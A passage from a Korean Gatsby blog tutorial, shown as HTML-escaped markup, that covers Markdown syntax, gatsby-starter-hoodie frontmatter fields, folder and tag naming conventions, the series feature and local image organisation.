&lt;/span&gt;&lt;span class=&quot;token table-data-rows&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; title       &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 포스트 제목 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 필수      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; description &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 짧은 설명   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 권장      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; date        &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 작성일      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 필수      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; tags        &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 태그 목록   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 권장      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;결과:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;필수 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;title&lt;/td&gt;
&lt;td&gt;포스트 제목&lt;/td&gt;
&lt;td&gt;필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;description&lt;/td&gt;
&lt;td&gt;짧은 설명&lt;/td&gt;
&lt;td&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;작성일&lt;/td&gt;
&lt;td&gt;필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tags&lt;/td&gt;
&lt;td&gt;태그 목록&lt;/td&gt;
&lt;td&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;인용 (Blockquote)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; 이것은 인용문입니다.
&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; 여러 줄로 작성할 수 있습니다.

&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;참고&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;: 강조 표시와 함께 사용하면 주의사항이나 팁을 효과적으로 전달할 수 있습니다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;참고&lt;/strong&gt;: 강조 표시와 함께 사용하면 주의사항이나 팁을 효과적으로 전달할 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;링크와 이미지&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token url&quot;&gt;[&lt;span class=&quot;token content&quot;&gt;링크 텍스트&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;https://example.com&lt;/span&gt;)&lt;/span&gt;
&lt;span class=&quot;token url&quot;&gt;[&lt;span class=&quot;token content&quot;&gt;새 탭에서 열기&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;https://example.com&lt;/span&gt;)&lt;/span&gt;{:target=&quot;\_blank&quot;}

&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;이미지 대체 텍스트&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;./images/example.png&lt;/span&gt;)&lt;/span&gt;
&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;외부 이미지&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;https://example.com/image.png&lt;/span&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;구분선&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token hr punctuation&quot;&gt;---&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;세 개 이상의 하이픈(&lt;code class=&quot;language-text&quot;&gt;-&lt;/code&gt;), 별표(&lt;code class=&quot;language-text&quot;&gt;*&lt;/code&gt;), 밑줄(&lt;code class=&quot;language-text&quot;&gt;_&lt;/code&gt;)로 구분선을 만들 수 있습니다.&lt;/p&gt;
&lt;h2&gt;Frontmatter 구조&lt;/h2&gt;
&lt;p&gt;Frontmatter는 마크다운 파일 상단에 YAML 형식으로 작성하는 메타데이터입니다. gatsby-starter-hoodie에서 지원하는 필드를 자세히 알아봅시다.&lt;/p&gt;
&lt;h3&gt;기본 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;포스트 제목&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;포스트에 대한 짧은 설명 (SEO 메타 설명에 사용됩니다)&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-04&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-04&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; gatsby
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; blog
&lt;span class=&quot;token key atrule&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;시리즈 이름&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;각 필드 상세 설명&lt;/h3&gt;
&lt;h4&gt;title (필수)&lt;/h4&gt;
&lt;p&gt;포스트의 제목입니다. HTML &lt;code class=&quot;language-text&quot;&gt;&amp;lt;title&gt;&lt;/code&gt; 태그와 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;h1&gt;&lt;/code&gt; 태그에 사용됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Gatsby로 GitHub 블로그 시작하기 — 설치부터 첫 배포까지&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;큰따옴표로 감싸는 것이 안전합니다. 특히 콜론(&lt;code class=&quot;language-text&quot;&gt;:&lt;/code&gt;)이 포함된 경우 반드시 따옴표가 필요합니다.&lt;/li&gt;
&lt;li&gt;SEO를 위해 핵심 키워드를 앞쪽에 배치합니다.&lt;/li&gt;
&lt;li&gt;50~60자 이내가 검색 결과에서 잘리지 않아 적절합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;description (권장)&lt;/h4&gt;
&lt;p&gt;포스트에 대한 짧은 설명으로, 검색엔진 결과와 블로그 목록에 표시됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Gatsby 설치부터 gatsby-starter-hoodie 테마 적용, GitHub Pages 배포까지 완전 가이드&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;120~160자 이내가 적절합니다.&lt;/li&gt;
&lt;li&gt;핵심 키워드를 자연스럽게 포함합니다.&lt;/li&gt;
&lt;li&gt;클릭을 유도하는 명확한 문장을 작성합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;date / update&lt;/h4&gt;
&lt;p&gt;작성일과 수정일입니다. &lt;code class=&quot;language-text&quot;&gt;YYYY-MM-DD&lt;/code&gt; 형식으로 작성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-04&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-04&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;date&lt;/code&gt;: 포스트 최초 작성일입니다. 목록 정렬에 사용됩니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;update&lt;/code&gt;: 포스트 수정일입니다. 포스트를 업데이트했을 때 갱신합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;tags&lt;/h4&gt;
&lt;p&gt;포스트에 붙이는 태그 목록입니다. 배열 형식으로 작성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; gatsby
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; github&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; blog&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;series&lt;/h4&gt;
&lt;p&gt;여러 포스트를 하나의 시리즈로 묶을 때 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GitHub 블로그 A to Z&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;같은 &lt;code class=&quot;language-text&quot;&gt;series&lt;/code&gt; 값을 가진 포스트들이 자동으로 그룹핑되어 포스트 하단에 시리즈 네비게이션이 표시됩니다.&lt;/p&gt;
&lt;h2&gt;폴더 구조 설계&lt;/h2&gt;
&lt;p&gt;블로그가 커지면 폴더 구조가 매우 중요해집니다. 처음부터 체계적으로 설계하면 나중에 관리가 편합니다.&lt;/p&gt;
&lt;h3&gt;추천 폴더 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;contents/
└── posts/
    ├── gatsby-blog/                     # 카테고리: Gatsby 블로그
    │   ├── 01-getting-started/
    │   │   ├── index.md
    │   │   └── images/
    │   │       ├── setup-screen.png
    │   │       └── deploy-result.png
    │   ├── 02-customizing-skin/
    │   │   └── index.md
    │   └── 03-markdown-and-categories/
    │       └── index.md
    ├── javascript/                      # 카테고리: JavaScript
    │   ├── closure-explained/
    │   │   └── index.md
    │   └── async-await-guide/
    │       └── index.md
    ├── devops/                          # 카테고리: DevOps
    │   ├── docker-basics/
    │   │   └── index.md
    │   └── github-actions-ci/
    │       └── index.md
    └── til/                             # 카테고리: Today I Learned
        ├── 2026-03-28-css-grid/
        │   └── index.md
        └── 2026-04-01-git-rebase/
            └── index.md&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;네이밍 규칙&lt;/h3&gt;
&lt;p&gt;폴더와 파일 이름에 일관된 규칙을 적용합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;카테고리 폴더&lt;/strong&gt;: 소문자 영문, 하이픈(&lt;code class=&quot;language-text&quot;&gt;-&lt;/code&gt;) 구분 (예: &lt;code class=&quot;language-text&quot;&gt;gatsby-blog&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;javascript&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;포스트 폴더&lt;/strong&gt;: 시리즈의 경우 번호 접두사 사용 (예: &lt;code class=&quot;language-text&quot;&gt;01-getting-started&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단독 포스트&lt;/strong&gt;: 핵심 키워드로 구성 (예: &lt;code class=&quot;language-text&quot;&gt;closure-explained&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TIL&lt;/strong&gt;: 날짜 접두사 사용 (예: &lt;code class=&quot;language-text&quot;&gt;2026-03-28-css-grid&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이미지 폴더&lt;/strong&gt;: 포스트 폴더 내 &lt;code class=&quot;language-text&quot;&gt;images/&lt;/code&gt; 하위에 관리&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;왜 index.md를 사용하는가?&lt;/h3&gt;
&lt;p&gt;포스트마다 폴더를 만들고 &lt;code class=&quot;language-text&quot;&gt;index.md&lt;/code&gt;를 사용하는 이유가 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 이렇게 하면
posts/my-post.md          # 이미지를 어디에 둘지 애매합니다

# 이렇게 하면
posts/my-post/index.md    # 관련 이미지를 같은 폴더에 둘 수 있습니다
posts/my-post/images/screenshot.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이미지를 같은 폴더에 두면 상대 경로(&lt;code class=&quot;language-text&quot;&gt;./images/screenshot.png&lt;/code&gt;)로 참조할 수 있어 관리가 훨씬 편합니다.&lt;/p&gt;
&lt;h2&gt;태그 전략&lt;/h2&gt;
&lt;p&gt;태그를 잘 설계하면 독자가 관련 글을 쉽게 찾을 수 있고, SEO에도 도움이 됩니다.&lt;/p&gt;
&lt;h3&gt;태그 작성 규칙&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;소문자 통일&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;JavaScript&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;javascript&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;React&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;react&lt;/code&gt;를 사용합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;하이픈 구분&lt;/strong&gt;: 두 단어 이상인 경우 하이픈으로 연결합니다. (예: &lt;code class=&quot;language-text&quot;&gt;github-pages&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;styled-components&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;복수형 지양&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;algorithms&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;algorithm&lt;/code&gt;처럼 단수형을 사용합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;의미 있는 태그&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;기타&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;잡담&lt;/code&gt; 같은 모호한 태그는 피합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;적정 개수&lt;/strong&gt;: 포스트당 3~5개가 적절합니다. 너무 많으면 태그의 의미가 희석됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;태그 분류 체계&lt;/h3&gt;
&lt;p&gt;태그를 기술/도구/개념/시리즈로 분류하면 체계적으로 관리할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 기술/언어 태그&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;javascript&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; typescript&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; python&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; java&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; go&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 프레임워크/도구 태그&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;gatsby&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; react&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; next.js&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; docker&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; github&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;actions&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 개념 태그&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;algorithm&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;structure&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; design&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pattern&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; clean&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;code&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 유형 태그&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;tutorial&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; review&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; til&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;태그 관리 스프레드시트&lt;/h3&gt;
&lt;p&gt;블로그가 커지면 태그 목록을 별도로 관리하는 것이 좋습니다. 간단한 표를 만들어 사용 중인 태그와 포스트 수를 추적합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;태그&lt;/th&gt;
&lt;th&gt;포스트 수&lt;/th&gt;
&lt;th&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;gatsby&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;블로그 시리즈&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;javascript&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;주력 언어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;react&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;프론트엔드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;til&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;Today I Learned&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;시리즈 기능 활용&lt;/h2&gt;
&lt;p&gt;gatsby-starter-hoodie의 시리즈 기능은 연관된 포스트를 그룹으로 묶어주는 강력한 기능입니다.&lt;/p&gt;
&lt;h3&gt;시리즈 설정 방법&lt;/h3&gt;
&lt;p&gt;frontmatter에 같은 &lt;code class=&quot;language-text&quot;&gt;series&lt;/code&gt; 값을 지정하면 자동으로 시리즈가 생성됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 포스트 1&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Gatsby 블로그 시작하기&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GitHub 블로그 A to Z&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-01&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 포스트 2&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;블로그 스킨 커스터마이징&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GitHub 블로그 A to Z&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-04&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 포스트 3&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;마크다운 글쓰기와 카테고리 관리&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GitHub 블로그 A to Z&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-07&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 설정하면 각 포스트 하단에 시리즈 목록이 자동으로 표시되어, 독자가 이전/다음 포스트로 쉽게 이동할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;시리즈 네이밍 팁&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;시리즈 이름은 &lt;strong&gt;한국어&lt;/strong&gt;로 작성해도 됩니다. 태그와 달리 시리즈 이름은 URL에 직접 사용되지 않습니다.&lt;/li&gt;
&lt;li&gt;명확하고 구체적인 이름을 사용합니다. (예: &quot;GitHub 블로그 A to Z&quot;, &quot;React 핵심 개념 정리&quot;)&lt;/li&gt;
&lt;li&gt;시리즈 내 포스트 순서는 &lt;code class=&quot;language-text&quot;&gt;date&lt;/code&gt; 값으로 결정됩니다. 날짜를 순차적으로 설정하면 원하는 순서대로 표시됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 활용 사례&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;시리즈 1: &quot;GitHub 블로그 A to Z&quot;
├── 01. Gatsby로 GitHub 블로그 시작하기
├── 02. 블로그 스킨 커스터마이징
├── 03. 마크다운 글쓰기와 카테고리 관리
├── 04. SEO 최적화
├── 05. GitHub Actions 자동 배포
└── 06. 광고 및 댓글 시스템

시리즈 2: &quot;JavaScript 핵심 개념&quot;
├── 01. 실행 컨텍스트와 호이스팅
├── 02. 클로저 완벽 이해
├── 03. 프로토타입과 상속
└── 04. 비동기 프로그래밍&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;이미지 관리&lt;/h2&gt;
&lt;p&gt;기술 블로그에서 이미지는 스크린샷, 다이어그램, 아키텍처 도표 등으로 자주 사용됩니다. 효율적인 이미지 관리 방법을 알아봅시다.&lt;/p&gt;
&lt;h3&gt;로컬 이미지&lt;/h3&gt;
&lt;p&gt;가장 간단한 방법은 포스트 폴더 내에 이미지를 함께 보관하는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;posts/my-post/
├── index.md
└── images/
    ├── screenshot-01.png
    └── architecture-diagram.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
